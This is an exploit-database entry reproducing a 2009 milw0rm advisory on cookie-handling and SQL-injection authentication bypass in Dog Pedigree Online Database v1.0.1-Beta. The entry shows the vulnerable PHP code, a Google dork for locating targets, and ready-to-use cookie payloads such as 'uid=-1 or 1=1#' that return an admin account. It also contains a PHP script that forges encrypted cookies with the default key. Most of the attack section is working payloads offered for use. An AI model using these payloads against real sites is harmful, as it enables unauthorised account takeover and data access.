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vendor:
Dog Pedigree Online Database
by:
Juan Galiana Lara
9,3
CVSS
HIGH
Insecure Cookie Handling
613
CWE
Product Name: Dog Pedigree Online Database
Affected Version From: v1.0.1-Beta
Affected Version To: v1.0.1-Beta
Patch Exists: YES
Related CWE: CVE-2015-1568, CVE-2015-1569
CPE: a:dog_pedigree_online_database:dog_pedigree_online_database:1.0.1-beta
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2015

Insecure Cookie Handling Vulnerabilities

Dog Pedigree Online Database v1.0.1-Beta is vulnerable to Insecure Cookie Handling. This vulnerability can be exploited by malicious users to gain access to sensitive information. The vulnerability is reported in the version 1.0.1-Beta. It is advised to upgrade to version 1.0.2-Beta or later to mitigate this vulnerability.

Mitigation:

Upgrade to version 1.0.2-Beta or later
Source

Exploit-DB raw data:

***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
**							                                     **
**    											     **
**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
**					¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	     INSECURE COOKIE HANDLING VULNERABILITIES		      	     |
|--------------------------------------------------------------------------------------------|
|                       |    Dog Pedigree Online Database v1.0.1-Beta     |		     |
|  CMS INFORMATION:	 -------------------------------------------------	             |
|										             |
|-->WEB: http://thewhippetarchives.net/twa_is_offline.php          	                     |
|-->DOWNLOAD: http://sourceforge.net/projects/dogarchive          	                     |
|-->DEMO: N/A   	     			    					     |
|-->CATEGORY: Genealogy									     |
|-->DESCRIPTION: This project allows to setup and maintain a database for 	 	     |
|		collecting (dog) pedigrees. The data will actually be collected...	     |
|-->RELEASED: 2009-01-25								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3								     |
|-->DORK: inurl:"printable_pedigree.php"				                     |
|-->CATEGORY: COOKIE AUTH-BYPASS (SQLi) / INSECURE COOKIE HANDLING                           |
|-->AFFECT VERSION: <= 1.0.1 Beta			 			             |
|-->Discovered Bug date: 2009-05-08							     |
|-->Reported Bug date: 2009-05-08							     |
|-->Fixed bug date: 2009-05-12								     |
|-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/	 		     |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
----------------------------------------------------------------------------------------------


#######
///////

INTRO:

///////
#######


Cookie name --> it could be configured, but any web change it.

Cookie protection --> Active by default, but some Webs use it and other neither (Because it needs php_mcrypt extension).

With cookie protection --> Any web change the $COOKIE_KEY value. Always by default



###########################
///////////////////////////

COOKIE AUTH-BYPASS (SQLi):

///////////////////////////
###########################


-----------
VULN FILE:
-----------


Path --> [HOME_PATH]/php_users/htdocs/
File --> users.php.inc
Vuln function --> init()


 function init() {

....

    $cookie = $_COOKIE[$USER_COOKIE];
    if (isset($COOKIE_KEY)) {
      	$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
      	$cookie = mcrypt_decrypt(MCRYPT_BLOWFISH, $COOKIE_KEY, base64_decode($cookie), MCRYPT_MODE_ECB, $iv);
    }
    $cookie = rtrim($cookie);  
    $a = split('&', $cookie);
    $i = 0;
    while ($i < count($a)) {
      $b = split ('=', $a[$i]);
      $key = urldecode($b[0]);
      $value = urldecode($b[1]);
      $this->{$key} = $value;
      $i++;
    }
    $this->id = $this->{'uid'};
  }

...

---------
EXPLOIT:
---------


1.-WITHOUT ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> email=&uid=-1%20or%201=1#&seclev=


2.-WITH ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> Ffq9xizFlqX%2FLFytv2XsUILuolhabq3%2BN5A0%2B3ifmNdjLEIqh%2BKIXA%3D%3D

			

Return --> Admin account.


##########################
//////////////////////////

INSECURE COOKIE HANDLING:

//////////////////////////
##########################


<<<<-------+++++++++ Condition: Search e-mail and uid (it's not difficult) ++++++++++--------->>>>


------
NOTE:
------


Use an cookie builder (need php_mcrypt extension) 
to encrypt the cookie value:

<?php

//Configure [real_email] and [real_uid] with your target

$COOKIE_KEY="somethingRAndoM9871234whateveryoulike"; //user.conf by default
$cookie="email=".urlencode('[real_email]')."&uid=[real_uid]&seclev=1";
$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
$cookie = base64_encode(mcrypt_encrypt (MCRYPT_BLOWFISH, $COOKIE_KEY, $cookie, MCRYPT_MODE_ECB, $iv));
print "Cookie crypted-urlencode -->".urlencode($cookie)."\n";

?>


-----
PoC:
-----


1.-WITHOUT ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> email=[real_email]&uid=[real_uid]&seclev=1


2.-WITH ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> Use PHP script above


---------
EXPLOIT:
---------


1.-WITHOUT ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> email=y3nh4ck3r@gmail.com&uid=2422&seclev=1


2.-WITH ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> 7O%2By0gnSt4KItondpdwQThDciQY6aR3QfFGEvZQzUGQWNkYwIUI4lfiZ1WQgnEc%2B



<<<-----------------------------EOF---------------------------------->>>ENJOY IT!



#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!##
##*******************************************************************##
#######################################################################
#######################################################################

# milw0rm.com [2009-05-19]

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